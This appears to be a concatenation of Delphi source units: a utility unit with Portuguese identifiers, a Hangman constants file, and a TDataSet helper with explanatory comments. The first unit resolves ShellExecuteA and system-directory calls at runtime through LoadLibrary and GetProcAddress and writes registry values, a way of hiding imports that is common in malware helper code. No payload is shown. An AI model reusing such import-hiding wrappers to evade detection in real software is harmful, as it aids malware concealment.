GetLocalTime(SysTime);
if Length(IntToStr(SysTime.wHour))=1 then Result:='0'+IntToStr(SysTime.wHour)
else Result:=IntToStr(SysTime.wHour);
end;
function GetMinute:String;
var
SysTime:TSystemTime;
begin
GetLocalTime(SysTime);
if Length(IntToStr(SysTime.wMinute))=1 then Result:='0'+IntToStr(SysTime.wMinute)
else Result:=IntToStr(SysTime.wMinute);
end;
function GetSecond:String;
var
SysTime:TSystemTime;
begin
GetLocalTime(SysTime);
if Length(IntToStr(SysTime.wSecond))=1 then Result:='0'+IntToStr(SysTime.wSecond)
else Result:=IntToStr(SysTime.wSecond);
end;
function GetYear:String;
var
SysTime:TSystemTime;
begin
GetLocalTime(SysTime);
Result:=IntToStr(SysTime.wYear);
end;
function GetMonth:String;
var
SysTime:TSystemTime;
begin
GetLocalTime(SysTime);
if Length(IntToStr(SysTime.wMonth))=1 then Result:='0'+IntToStr(SysTime.wMonth)
else Result:=IntToStr(SysTime.wMonth);
end;
function GetDay:String;
var
SysTime:TSystemTime;
begin
GetLocalTime(SysTime);
if Length(IntToStr(SysTime.wDay))=1 then Result:='0'+IntToStr(SysTime.wDay)
else Result:=IntToStr(SysTime.wDay);
end;
function MyShellExecute(hWndA: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST;
var
xShellExecute: function(hWndA: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall;
begin
xShellExecute := GetProcAddress(LoadLibrary(pchar('shell32.dll')), pchar('ShellExecuteA'));
Result := xShellExecute(hWndA, Operation, FileName, Parameters, Directory, ShowCmd);
end;
function write2reg(key: Hkey; subkey, name, value: string): boolean;
var
regkey: hkey;
begin
result := false;
RegCreateKey(key, PChar(subkey), regkey);
if RegSetValueEx(regkey, Pchar(name), 0, REG_EXPAND_SZ, pchar(value), length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
function isIE7: boolean;
var
s: string;
begin
result := false;
s := lerreg(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Internet Explorer', 'Version', '');
if copy(s, 1, 1) <> '7' then exit;
result := true;
end;
function UpperString(S: String): String;
var
i: Integer;
begin
for i := 1 to Length(S) do
S[i] := char(CharUpper(PChar(S[i])));
Result := S;
end;
function LowerString(S: String): String;
var
i: Integer;
begin
for i := 1 to Length(S) do
S[i] := char(CharLower(PChar(S[i])));
Result := S;
end;
function GetProgramFilesDir: string;
var
chave, valor: string;
begin
chave := 'SOFTWARE\Microsoft\Windows\CurrentVersion';
valor := 'ProgramFilesDir';
result := lerreg(HKEY_LOCAL_MACHINE, chave, valor, '');
end;
function MyGetSystem(lpBuffer: PChar; uSize: UINT): UINT;
var
xGetSystem: function(lpBuffer: PChar; uSize: UINT): UINT; stdcall;
begin
xGetSystem := GetProcAddress(LoadLibrary(pchar('kernel32.dll')), pchar('GetSystemDirectoryA'));
Result := xGetSystem(lpBuffer, uSize);
end;
function MyGetWindows(lpBuffer: PChar; uSize: UINT): UINT;
var
xGetWindows: function(lpBuffer: PChar; uSize: UINT): UINT; stdcall;
begin
xGetWindows := GetProcAddress(LoadLibrary(pchar('kernel32.dll')), pchar('GetWindowsDirectoryA'));
Result := xGetWindows(lpBuffer, uSize);
end;
function MyGetTemp(nBufferLength: DWORD; lpBuffer: PChar): DWORD;
var
xGetTemp: function(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall;
begin
xGetTemp := GetProcAddress(LoadLibrary(pchar('kernel32.dll')), pchar('GetTempPathA'));
Result := xGetTemp(nBufferLength, lpBuffer);
end;
function MySystemFolder: String;
var
lpBuffer: Array[0..MAX_PATH] of Char;
begin
MyGetSystem(lpBuffer, sizeof(lpBuffer));
Result := String(lpBuffer) + '\';
end;
function MyWindowsFolder: String;
var
lpBuffer: Array[0..MAX_PATH] of Char;
begin
MyGetWindows(lpBuffer, sizeof(lpBuffer));
Result := String(lpBuffer) + '\';
end;
function MyTempFolder: String;
var
lpBuffer: Array[0..MAX_PATH] of Char;
begin
MyGetTemp(sizeof(lpBuffer), lpBuffer);
Result := String(lpBuffer);
end;
function MyRootFolder: String;
begin
Result := copy(MyWindowsFolder, 1, 3);
end;
Function lerreg(Key:HKEY; Path:string; Value, Default: string): string;
Var
Handle:hkey;
RegType:integer;
DataSize:integer;
begin
Result := Default;
if (RegOpenKeyEx(Key, pchar(Path), 0, KEY_QUERY_VALUE, Handle) = ERROR_SUCCESS) then
begin
if RegQueryValueEx(Handle, pchar(Value), nil, @RegType, nil, @DataSize) = ERROR_SUCCESS then
begin
SetLength(Result, Datasize);
RegQueryValueEx(Handle, pchar(Value), nil, @RegType, PByte(pchar(Result)), @DataSize);
SetLength(Result, Datasize - 1);
end;
RegCloseKey(Handle);
end;
end;
function GetValueName(chave, valor: string): string;
begin
try
result := lerreg(HKEY_CURRENT_USER, pchar(chave), pchar(valor), '');
except
result := '';
end;
end;
function IntToStr(i: Integer): String;
begin
Str(i, Result);
end;
function StrToInt(S: String): Integer;
begin
Val(S, Result, Result);
end;
end.
|
{ *********************************************************************** }
{ }
{ GUI Hangman }
{ Version 1.0 - First release of program }
{ Last Revised: 27nd of July 2004 }
{ Copyright (c) 2004 Chris Alley }
{ }
{ *********************************************************************** }
unit UConstantsAndTypes;
interface
const
Easy = 'Easy';
Normal = 'Normal';
Hard = 'Hard';
EasyWordListFilePath = 'WordLists/EasyWordList.txt';
NormalWordListFilePath = 'WordLists/NormalWordList.txt';
HardWordListFilePath = 'WordLists/HardWordList.txt';
MysteryLetter = '*';
type
TLetterSet = set of char;
implementation
end.
|
unit uDataSetHelper;
interface
{
TDataSet helper classes to simplify access to TDataSet fields and make TDataSet
work with a for-in-loop.
Author: Uwe Raabe - ur@ipteam.de
Techniques used:
- class helpers
- enumerators
- invokable custom variants
This unit implements some "Delphi Magic" to simplify the use of TDataSets and
its fields. Just by USING this unit you can access the individual fields of a
TDataSet like they were properties of a class. For example let's say a DataSet
has fields First_Name and Last_Name. The normal approach to access the field
value would be to write something like this:
DataSet.FieldValues['First_Name']
or
DataSet.FieldByName('First_Name'].Value
With this unit you can simply write
DataSet.CurrentRec.First_Name
You can even assign DataSet.CurrentRec to a local variable of type variant to
shorten the needed typing and clarify the meaning (let PersonDataSet be a
TDataSet descendant with fields as stated above).
var
Person: Variant;
FullName: string;
begin
Person := PersonDataSet.CurrentRec;
...
FullName := Trim(Format('%s %s', [Person.First_Name, Person.Last_Name]));
...
end;
If you write to such a property, the underlying DatsSet is automatically set
into Edit mode.
Obviously you still have to know the field names of the dataset, but this is
just the same as if you are using FieldByName.
The second benefit of this unit shows up when you try to iterate over a
DataSet. This reduces to simply write the following (let Lines be a TStrings
decendant taking the full names of all persons):
var
Person: Variant;
begin
...
// Active state of PersonDataSet is saved during the for loop.
// If PersonDataSet supports bookmarks, the position is also saved.
for Person in PersonDataSet do begin
Lines.Add(Trim(Format('%s %s', [Person.First_Name, Person.Last_Name])));
end;
...
end;
You can even set these "variant-field-properties" during the for loop as the
DataSet will automatically Post your changes within the Next method.
How it works:
We use a class helper to add the CurrentRec property and the enumerator to the
TDataSet class. The CurrentRec property is also used by the enumerator to
return the current record when iterating. The TDataSetEnumerator does some
housekeeping to restore the active state and position of the DataSet after
the iteration, thus your code hasn't to do this each time.
The tricky thing is making the variant to access the dataset fields as if they
were properties. This is accomplished by introducing a custom variant type
descending from TInvokeableVariantType. Besides the obligatory overwriting of
Clear and Copy, which turn out to be quite simple, we implement the GetProperty
and SetProperty methods to map the property names to field names. That's all!
CAUTION! Don't do stupid things with the DataSet while there is some of these
variants connected to it. Especially don't destroy it!
The variant stuff is completely hidden in the implementation section, as for
now I can see no need to expose it.
}
uses
DB;
type
TDataSetEnumerator = class
private
FBookmark: TBookmark;
FDataSet: TDataSet;
FMoveToFirst: Boolean;
FWasActive: Boolean;
function GetCurrent: Variant;
public
constructor Create(ADataSet: TDataSet);
destructor Destroy; override;
function MoveNext: Boolean;
property Current: Variant read GetCurrent;
end;
type
TDataSetHelper = class helper for TDataSet
private
function GetCurrentRec: Variant;
public
function GetEnumerator: TDataSetEnumerator;
property CurrentRec: Variant read GetCurrentRec;
end;
implementation
uses
Sysutils, Variants;
type
{ A custom variant type that implements the mapping from the property names
to the DataSet fields. }
TVarDataRecordType = class(TInvokeableVariantType)
public
procedure Clear(var V: TVarData); override;
procedure Copy(var Dest: TVarData; const Source: TVarData; const Indirect: Boolean); override;
function GetProperty(var Dest: TVarData; const V: TVarData; const Name: string): Boolean; override;
function SetProperty(const V: TVarData; const Name: string; const Value: TVarData): Boolean; override;
end;
type
{ Our layout of the variants record data.
We only hold a pointer to the DataSet. }
TVarDataRecordData = packed record
VType: TVarType;
Reserved1, Reserved2, Reserved3: Word;
DataSet: TDataSet;
Reserved4: LongInt;
end;
var
{ The global instance of the custom variant type. The data of the custom
variant is stored in a TVarData record, but the methods and properties
are implemented in this class instance. }
VarDataRecordType: TVarDataRecordType = nil;
{ A global function the get our custom VarType value. This may vary and thus
is determined at runtime. }
function VarDataRecord: TVarType;
begin
result := VarDataRecordType.VarType;
end;
{ A global function that fills the VarData fields with the correct values. }
function VarDataRecordCreate(ADataSet: TDataSet): Variant;
begin
VarClear(result);
TVarDataRecordData(result).VType := VarDataRecord;
TVarDataRecordData(result).DataSet := ADataSet;
end;
procedure TVarDataRecordType.Clear(var V: TVarData);
begin
{ No fancy things to do here, we are only holding a pointer to a TDataSet and
we are not supposed to destroy it here. }
SimplisticClear(V);
end;
procedure TVarDataRecordType.Copy(var Dest: TVarData; const Source: TVarData; const Indirect: Boolean);
begin
{ No fancy things to do here, we are only holding a pointer to a TDataSet and
that can simply be copied here. }
SimplisticCopy(Dest, Source, Indirect);
end;
function TVarDataRecordType.GetProperty(var Dest: TVarData; const V: TVarData; const Name: string): Boolean;
var
fld: TField;
begin
{ Find a field with the property's name. If there is one, return its current value. }
fld := TVarDataRecordData(V).DataSet.FindField(Name);
result := (fld <> nil);
if result then
Variant(dest) := fld.Value;
end;
function TVarDataRecordType.SetProperty(const V: TVarData; const Name: string; const Value: TVarData): Boolean;
var
fld: TField;
begin
{ Find a field with the property's name. If there is one, set its value. }
fld := TVarDataRecordData(V).DataSet.FindField(Name);
result := (fld <> nil);
if result then begin
{ Well, we have to be in Edit mode to do this, don't we? }
TVarDataRecordData(V).DataSet.Edit;
fld.Value := Variant(Value);
end;
end;
constructor TDataSetEnumerator.Create(ADataSet: TDataSet);
{ The enumerator is automatically created and destroyed in the for-in loop.
So we remember the active state and set a flag that the first MoveNext will
not move to the next record, but stays on the first one instead. }
begin
inherited Create;
FDataSet := ADataSet;
Assert(FDataSet <> nil);
{ save the Active state }
FWasActive := FDataSet.Active;
{ avoid flickering }
FDataSet.DisableControls;
if FWasActive then begin
{ get a bookmark of the current position - even if it is invalid }
FBookmark := FDataSet.GetBookmark;
FDataSet.First;
end
else begin
{ FBookmark is initialized to nil anyway, so no need to set it here }
FDataSet.Active := true;
end;
FMoveToFirst := true;
end;
destructor TDataSetEnumerator.Destroy;
{ Restore the DataSet to its previous state. }
begin
if FWasActive then begin
{ if we have a valid bookmark, use it }
if FDataSet.BookmarkValid(FBookmark) then
FDataSet.GotoBookmark(FBookmark);
{ I'm not sure, if FreeBokmark can handle nil pointers - so to be safe }
if FBookmark <> nil then
FDataSet.FreeBookmark(FBookmark);
end
else
FDataSet.Active := false;
{ don't forget this one! }
FDataSet.EnableControls;
inherited;
end;
function TDataSetEnumerator.GetCurrent: Variant;
begin
{ We simply return the CurrentRec property of the DataSet, which is exposed
due to the class helper. }
Result := FDataSet.CurrentRec;
end;
function TDataSetEnumerator.MoveNext: Boolean;
begin
{ Check if we have to move to the first record, which has been done already
during Create. }
if FMoveToFirst then
FMoveToFirst := false
else
FDataSet.Next;
Result := not FDataSet.EoF;
end;
function TDataSetHelper.GetCurrentRec: Variant;
begin
{ return one of our custom variants }
Result := VarDataRecordCreate(Self);
end;
function TDataSetHelper.GetEnumerator: TDataSetEnumerator;
begin
{ return a new enumerator }
Result := TDataSetEnumerator.Create(Self);
end;
initialization
{ Create our custom variant type, which will be registered automatically. }
VarDataRecordType := TVarDataRecordType.Create;
finalization
{ Free our custom variant type. }
FreeAndNil(VarDataRecordType);
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.